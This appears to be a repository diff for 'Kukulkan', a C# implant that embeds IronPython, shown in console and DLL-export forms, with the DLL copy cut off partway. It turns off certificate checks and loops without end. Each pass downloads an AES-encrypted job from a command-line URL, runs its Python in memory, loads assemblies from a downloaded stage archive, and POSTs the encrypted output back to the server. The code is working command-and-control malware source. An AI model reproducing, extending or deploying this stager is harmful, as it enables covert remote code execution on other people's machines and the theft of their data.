</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="IronPython, Version=2.7.9.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\IronPython.dll</HintPath>
</Reference>
<Reference Include="IronPython.Modules, Version=2.7.9.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\IronPython.Modules.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Dynamic, Version=1.2.2.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\Microsoft.Dynamic.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Scripting, Version=1.2.2.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\Microsoft.Scripting.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.IO.Compression" />
</ItemGroup>
<ItemGroup>
<Compile Include="Kukulkan.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
<None Include="Resources\IronPython.StdLib.2.7.9.zip" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<Content Include="Resources\IronPython.dll" />
<Content Include="Resources\IronPython.Modules.dll" />
<Content Include="Resources\Microsoft.Dynamic.dll" />
<Content Include="Resources\Microsoft.Scripting.dll" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
+313
View File
@@ -0,0 +1,313 @@
using System;
using System.Threading;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Net;
using IronPython.Hosting;
using IronPython.Modules;
using Microsoft.Scripting.Hosting;
using Microsoft.Scripting.Utils;
using System.Security.Cryptography;
using System.Text;
using System.Linq;
using System.Collections.Generic;
public class KConsole
{
static Uri URL = null;
static byte[] AES_KEY = null;
static byte[] AES_IV = null;
static ZipArchive Stage = null;
static KConsole()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
}
// https://mail.python.org/pipermail/ironpython-users/2012-December/016366.html
// http://ironpython.net/blog/2012/07/07/whats-new-in-ironpython-273.html
// https://blog.adamfurmanek.pl/2017/10/14/sqlxd-part-22/
public static dynamic CreateEngine()
{
ScriptRuntimeSetup setup = Python.CreateRuntimeSetup(GetRuntimeOptions());
var pyRuntime = new ScriptRuntime(setup);
ScriptEngine engineInstance = Python.GetEngine(pyRuntime);
AddPythonLibrariesToSysMetaPath(engineInstance);
return engineInstance;
}
private static IDictionary<string, object> GetRuntimeOptions()
{
var options = new Dictionary<string, object>();
options["Debug"] = false;
return options;
}
public static void AddPythonLibrariesToSysMetaPath(ScriptEngine engineInstance)
{
Assembly asm = Assembly.GetExecutingAssembly().GetType().Assembly;
try
{
var resQuery =
from name in asm.GetManifestResourceNames()
where name.ToLowerInvariant().EndsWith(".zip")
select name;
string resName = resQuery.Single();
#if DEBUG
Console.WriteLine("Found embedded IPY stdlib : {0}", resName);
#endif
var importer = new ResourceMetaPathImporter(asm, resName);
dynamic sys = engineInstance.GetSysModule();
sys.meta_path.append(importer);
sys.path.append(importer);
//List metaPath = sys.GetVariable("meta_path");
//metaPath.Add(importer);
//sys.SetVariable("meta_path", metaPath);
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Did not find IPY stdlib in embedded resources: {0}", e.Message);
#endif
return;
}
}
public static Byte[] GetResourceInZip(ZipArchive zip, string resourceName)
{
foreach (var entry in zip.Entries)
{
if (entry.Name == resourceName)
{
#if DEBUG
Console.WriteLine("Found {0} in zip", resourceName);
#endif
using (var resource = entry.Open())
{
var resdata = new Byte[entry.Length];
resource.Read(resdata, 0, resdata.Length);
return resdata;
}
}
}
return new Byte[0];
}
public static byte[] DecryptData(byte[] encryptedData)
{
using (Aes aesAlg = Aes.Create())
{
aesAlg.Padding = PaddingMode.PKCS7;
aesAlg.KeySize = 256;
aesAlg.Key = AES_KEY;
aesAlg.IV = AES_IV;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream decryptedData = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(decryptedData, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(encryptedData, 0, encryptedData.Length);
cryptoStream.FlushFinalBlock();
return decryptedData.ToArray();
}
}
}
}
public static byte[] EncryptData(byte[] output)
{
//byte[] unicodeBytes = Encoding.UTF8.GetBytes(plaintext);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Padding = PaddingMode.PKCS7;
aesAlg.KeySize = 256;
aesAlg.Key = AES_KEY;
aesAlg.IV = AES_IV;
ICryptoTransform decryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream encryptedData = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(encryptedData, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(output, 0, output.Length);
cryptoStream.FlushFinalBlock();
return encryptedData.ToArray();
}
}
}
}
public static ZipArchive StageZipFile(Uri URL, String zipname)
{
var StageURL = new Uri(URL, zipname);
#if DEBUG
Console.WriteLine("Attempting ZIP staging from {0}", StageURL);
#endif
while (true)
{
try
{
using (var wc = new WebClient())
{
var data = wc.DownloadData(StageURL);
#if DEBUG
Console.WriteLine("Downloaded {0} bytes", data.Length);
#endif
byte[] zip = DecryptData(data);
return new ZipArchive(new MemoryStream(zip));
}
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Error downloading {0}: {1}", URL, e.Message);
#endif
Thread.Sleep(5000);
}
}
}
public static void SendResults(Uri URL, byte[] data)
{
var jobEndpoint = new Uri(URL, "job");
#if DEBUG
Console.WriteLine("Attempting to send job results to {0}", jobEndpoint);
#endif
while (true)
{
try
{
var wr = WebRequest.Create(jobEndpoint);
wr.Method = "POST";
wr.ContentType = "application/octet-stream";
wr.ContentLength = data.Length;
var requestStream = wr.GetRequestStream();
requestStream.Write(data, 0, data.Length);
requestStream.Close();
wr.GetResponse();
break;
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Error sending job results to {0}: {1}", URL, e.Message);
#endif
Thread.Sleep(5000);
}
}
}
private static Assembly MyResolveEventHandler(object sender, ResolveEventArgs args)
{
string DllName = args.Name.Substring(0, args.Name.IndexOf(',')) + ".dll";
var bytes = default(byte[]);
#if DEBUG
Console.WriteLine("Trying to resolve {0} using staged zip", DllName);
#endif
if (Stage == null)
{
Stage = StageZipFile(URL, "stage.zip");
}
bytes = GetResourceInZip(Stage, DllName);
Assembly asm = Assembly.Load(bytes);
#if DEBUG
Console.WriteLine("'{0}' loaded", asm.FullName);
#endif
return asm;
}
public static byte[] sha256(string randomString)
{
var crypt = new SHA256Managed();
return crypt.ComputeHash(Encoding.UTF8.GetBytes(randomString));
}
public static byte[] StringToByteArray(string hex)
{
int NumberChars = hex.Length;
byte[] bytes = new byte[NumberChars / 2];
for (int i = 0; i < NumberChars; i += 2)
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
return bytes;
}
public static void Main(string[] args)
{
string aesKey = null;
string aesIV = null;
if (args.Length != 3)
{
Console.WriteLine("Usage: Kukulkan.exe <key> <IV> <URL>");
Environment.Exit(1);
}
try
{
aesKey = args[0];
}
catch { }
try
{
aesIV = args[1];
}
catch { }
try
{
URL = new Uri(args[2]);
}
catch { }
AES_KEY = sha256(aesKey);
AES_IV = StringToByteArray(aesIV);
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(MyResolveEventHandler);
var hash = new StringBuilder();
foreach (byte theByte in AES_KEY)
{
hash.Append(theByte.ToString("x2"));
}
Console.WriteLine("URL: {0}", URL);
Console.WriteLine("AES_KEY: {0} (SHA256: {1})", aesKey, hash);
Console.WriteLine("AES_IV: {0}", aesIV);
Console.WriteLine();
StartEngine();
}
public static void StartEngine()
{
while (true)
{
using (var engineStream = new MemoryStream())
{
var engine = CreateEngine();
engine.Runtime.IO.SetOutput(engineStream, Encoding.UTF8);
engine.Runtime.IO.SetErrorOutput(engineStream, Encoding.UTF8);
var scope = engine.CreateScope();
scope.SetVariable("URL", URL.ToString());
//scope.SetVariable("CHANNEL", "http");
//scope.SetVariable("IronPythonDLL", Assembly.Load(GetResourceInZip(stage, "IronPython.dll")));
#if DEBUG
scope.SetVariable("DEBUG", true);
#elif RELEASE
scope.SetVariable("DEBUG", false);
#endif
var jobZip = StageZipFile(URL, "job.zip");
var job = GetResourceInZip(jobZip, "main.py");
//result = PythonOps.InitializeModuleEx(Assembly.Load(GetResourceInZip(stage, "Main.dll")), "__main__", null, false, null);
engine.Execute(Encoding.UTF8.GetString(job, 0, job.Length), scope);
if (engineStream.Length > 0)
{
byte[] encryptedResults = EncryptData(engineStream.ToArray());
SendResults(URL, encryptedResults);
}
}
Thread.Sleep(10000);
}
}
}
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Kukulkan.Console")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Kukulkan.Console")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("cf38fd41-395f-422f-bdf8-8621a1469b9a")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+63
View File
@@ -0,0 +1,63 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Kukulkan.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Kukulkan.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+118
View File
@@ -0,0 +1,118 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{D94175E7-6B5B-4DD8-BD34-5319FC946B88}</ProjectGuid>
<OutputType>Library</OutputType>
<RootNamespace>Kukulkan</RootNamespace>
<AssemblyName>Kukulkan</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
</PropertyGroup>
<PropertyGroup>
<DllExportIdent>085C7652-282E-4F52-A04D-0823708FA39B</DllExportIdent>
<DllExportMetaLibName>DllExport.dll</DllExportMetaLibName>
<DllExportNamespace>Kukulkan</DllExportNamespace>
<DllExportDDNSCecil>true</DllExportDDNSCecil>
<DllExportSkipOnAnyCpu>false</DllExportSkipOnAnyCpu>
<DllExportPlatform>Auto</DllExportPlatform>
<DllExportOrdinalsBase>0</DllExportOrdinalsBase>
<DllExportGenExpLib>false</DllExportGenExpLib>
<DllExportOurILAsm>false</DllExportOurILAsm>
<DllExportLeaveIntermediateFiles>false</DllExportLeaveIntermediateFiles>
<DllExportTimeout>30000</DllExportTimeout>
<DllExportPeCheck>2</DllExportPeCheck>
</PropertyGroup>
<ItemGroup>
<Reference Include="DllExport, PublicKeyToken=8337224c9ad9e356">
<HintPath>$(SolutionDir)packages\DllExport.1.6.2\gcache\metalib\$(DllExportNamespace)\$(DllExportMetaLibName)</HintPath>
<Private>False</Private>
<SpecificVersion>False</SpecificVersion>
</Reference>
<Reference Include="IronPython, Version=2.7.9.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\IronPython.dll</HintPath>
</Reference>
<Reference Include="IronPython.Modules, Version=2.7.9.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\IronPython.Modules.dll</HintPath>
</Reference>
<Reference Include="Microsoft.CSharp" />
<Reference Include="Microsoft.Dynamic, Version=1.2.2.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\Microsoft.Dynamic.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Scripting, Version=1.2.2.0, Culture=neutral, PublicKeyToken=7f709c5b713576e1, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\Microsoft.Scripting.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.IO.Compression" />
</ItemGroup>
<ItemGroup>
<Compile Include="Kukulkan.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<Content Include="Resources\IronPython.dll" />
<Content Include="Resources\IronPython.Modules.dll" />
<Content Include="Resources\Microsoft.Dynamic.dll" />
<Content Include="Resources\Microsoft.Scripting.dll" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\IronPython.StdLib.2.7.9.zip" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<ImportGroup Label=".NET DllExport">
<Import Project="$(SolutionDir)packages\DllExport.1.6.2\tools\net.r_eg.DllExport.targets" Condition="Exists($([MSBuild]::Escape('$(SolutionDir)packages\DllExport.1.6.2\tools\net.r_eg.DllExport.targets')))" Label="8337224c9ad9e356" />
</ImportGroup>
<Target Name="DllExportRestorePkg" BeforeTargets="PrepareForBuild">
<Error Condition="!Exists('$(SolutionDir)DllExport.bat')" Text="DllExport.bat is not found. Path: '$(SolutionDir)' - https://github.com/3F/DllExport" />
<Exec Condition="('$(DllExportModImported)' != 'true' Or !Exists('$(SolutionDir)packages\DllExport.1.6.2\tools\net.r_eg.DllExport.targets')) And Exists('$(SolutionDir)DllExport.bat')" Command="DllExport.bat -action Restore" WorkingDirectory="$(SolutionDir)" />
</Target>
<Target Name="DllExportRPkgDynamicImport" BeforeTargets="PostBuildEvent" DependsOnTargets="GetFrameworkPaths" Condition="'$(DllExportModImported)' != 'true' And '$(DllExportRPkgDyn)' != 'false'">
<MSBuild BuildInParallel="true" UseResultsCache="true" Projects="$(MSBuildProjectFullPath)" Properties="DllExportRPkgDyn=true" Targets="Build" />
</Target>
</Project>
+320
View File
@@ -0,0 +1,320 @@
using System;
using System.Threading;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Net;
using IronPython.Hosting;
using IronPython.Modules;
using Microsoft.Scripting.Hosting;
using Microsoft.Scripting.Utils;
using System.Security.Cryptography;
using System.Text;
using System.Linq;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace Kukulkan
{
[ComVisible(true), ClassInterface(ClassInterfaceType.AutoDual)]
public class KDll
{
static Uri URL = null;
static byte[] AES_KEY = null;
static byte[] AES_IV = null;
static ZipArchive Stage = null;
static KDll()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
}
// https://mail.python.org/pipermail/ironpython-users/2012-December/016366.html
// http://ironpython.net/blog/2012/07/07/whats-new-in-ironpython-273.html
// https://blog.adamfurmanek.pl/2017/10/14/sqlxd-part-22/
public static dynamic CreateEngine()
{
ScriptRuntimeSetup setup = Python.CreateRuntimeSetup(GetRuntimeOptions());
var pyRuntime = new ScriptRuntime(setup);
ScriptEngine engineInstance = Python.GetEngine(pyRuntime);
AddPythonLibrariesToSysMetaPath(engineInstance);
return engineInstance;
}
private static IDictionary<string, object> GetRuntimeOptions()
{
var options = new Dictionary<string, object>();
options["Debug"] = false;
return options;
}
public static void AddPythonLibrariesToSysMetaPath(ScriptEngine engineInstance)
{
Assembly asm = Assembly.GetExecutingAssembly().GetType().Assembly;
try
{
var resQuery =
from name in asm.GetManifestResourceNames()
where name.ToLowerInvariant().EndsWith(".zip")
select name;
string resName = resQuery.Single();
#if DEBUG
Console.WriteLine("Found embedded IPY stdlib : {0}", resName);
#endif
var importer = new ResourceMetaPathImporter(asm, resName);
dynamic sys = engineInstance.GetSysModule();
sys.meta_path.append(importer);
sys.path.append(importer);
//List metaPath = sys.GetVariable("meta_path");
//metaPath.Add(importer);
//sys.SetVariable("meta_path", metaPath);
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Did not find IPY stdlib in embedded resources: {0}", e.Message);
#endif
return;
}
}
public static Byte[] GetResourceInZip(ZipArchive zip, string resourceName)
{
foreach (var entry in zip.Entries)
{
if (entry.Name == resourceName)
{
#if DEBUG
Console.WriteLine("Found {0} in zip", resourceName);
#endif
using (var resource = entry.Open())
{
var resdata = new Byte[entry.Length];
resource.Read(resdata, 0, resdata.Length);
return resdata;
}
}
}
return new Byte[0];
}
public static byte[] DecryptData(byte[] encryptedData)
{
using (Aes aesAlg = Aes.Create())
{
aesAlg.Padding = PaddingMode.PKCS7;
aesAlg.KeySize = 256;
aesAlg.Key = AES_KEY;
aesAlg.IV = AES_IV;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream decryptedData = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(decryptedData, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(encryptedData, 0, encryptedData.Length);
cryptoStream.FlushFinalBlock();
return decryptedData.ToArray();
}
}
}
}
public static byte[] EncryptData(byte[] output)
{
//byte[] unicodeBytes = Encoding.UTF8.GetBytes(plaintext);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Padding = PaddingMode.PKCS7;
aesAlg.KeySize = 256;
aesAlg.Key = AES_KEY;
aesAlg.IV = AES_IV;
ICryptoTransform decryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream encryptedData = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(encryptedData, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(output, 0, output.Length);
cryptoStream.FlushFinalBlock();
return encryptedData.ToArray();
}
}
}
}
public static ZipArchive StageZipFile(Uri URL, String zipname)
{
var StageURL = new Uri(URL, zipname);
#if DEBUG
Console.WriteLine("Attempting ZIP staging from {0}", StageURL);
#endif
while (true)
{
try
{
using (var wc = new WebClient())
{
var data = wc.DownloadData(StageURL);
#if DEBUG
Console.WriteLine("Downloaded {0} bytes", data.Length);
#endif
byte[] zip = DecryptData(data);
return new ZipArchive(new MemoryStream(zip));
}
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Error downloading {0}: {1}", URL, e.Message);
#endif
Thread.Sleep(5000);
}
}
}
public static void SendResults(Uri URL, byte[] data)
{
var jobEndpoint = new Uri(URL, "job");
#if DEBUG
Console.WriteLine("Attempting to send job results to {0}", jobEndpoint);
#endif
while (true)
{
try
{
var wr = WebRequest.Create(jobEndpoint);
wr.Method = "POST";
wr.ContentType = "application/octet-stream";
wr.ContentLength = data.Length;
var requestStream = wr.GetRequestStream();
requestStream.Write(data, 0, data.Length);
requestStream.Close();
wr.GetResponse();
break;
}
catch (Exception e)
{
#if DEBUG
Console.WriteLine("Error sending job results to {0}: {1}", URL, e.Message);
#endif
Thread.Sleep(5000);
}
}
}
private static Assembly MyResolveEventHandler(object sender, ResolveEventArgs args)
{
string DllName = args.Name.Substring(0, args.Name.IndexOf(',')) + ".dll";
var bytes = default(byte[]);
#if DEBUG
Console.WriteLine("Trying to resolve {0} using staged zip", DllName);
#endif
if (Stage == null)
{
Stage = StageZipFile(URL, "stage.zip");
}
bytes = GetResourceInZip(Stage, DllName);
Assembly asm = Assembly.Load(bytes);
#if DEBUG
Console.WriteLine("'{0}' loaded", asm.FullName);
#endif
return asm;
}
public static byte[] sha256(string randomString)
{
var crypt = new SHA256Managed();
return crypt.ComputeHash(Encoding.UTF8.GetBytes(randomString));
}
public static byte[] StringToByteArray(string hex)
{
int NumberChars = hex.Length;
byte[] bytes = new byte[NumberChars / 2];
for (int i = 0; i < NumberChars; i += 2)
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
return bytes;
}
[DllExport("Main", CallingConvention = CallingConvention.StdCall)]
public static void Main(string[] args)
{
string aesKey = null;
string aesIV = null;
if (args.Length != 3)
{
Console.WriteLine("Usage: Kukulkan.exe <key> <IV> <URL>");
Environment.Exit(1);
}
try
{
aesKey = args[0];
}
catch { }
try
{
aesIV = args[1];
}
catch { }
try
{
URL = new Uri(args[2]);
}
catch { }
AES_KEY = sha256(aesKey);
AES_IV = StringToByteArray(aesIV);
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(MyResolveEventHandler);
var hash = new StringBuilder();
